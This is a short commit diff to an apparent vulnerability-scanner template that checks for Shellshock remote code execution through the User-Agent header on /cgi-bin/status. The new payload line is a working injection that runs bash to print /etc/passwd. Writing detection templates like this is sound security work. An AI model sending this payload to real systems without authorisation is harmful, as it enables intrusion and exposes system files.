Improve shellshock payload

2020-08-06 10:03:58 +02:00 · 2020-08-06 10:03:58 +02:00 · f4ebffa1bc
parent 86c124a3ae
commit f4ebffa1bc
1 changed files with 1 additions and 1 deletions
--- a/vulnerabilities/rce-shellshock-user-agent.yaml
+++ b/vulnerabilities/rce-shellshock-user-agent.yaml
@ -8,7 +8,7 @@ info:
 requests:
 - method: GET
   headers:
-    User-Agent: "{ :;}; echo $(</etc/passwd)"
+    User-Agent: "() { :; }; echo; echo; /bin/bash -c 'cat /etc/passwd;'"
   path:
    - "{{BaseURL}}/cgi-bin/status"
   matchers: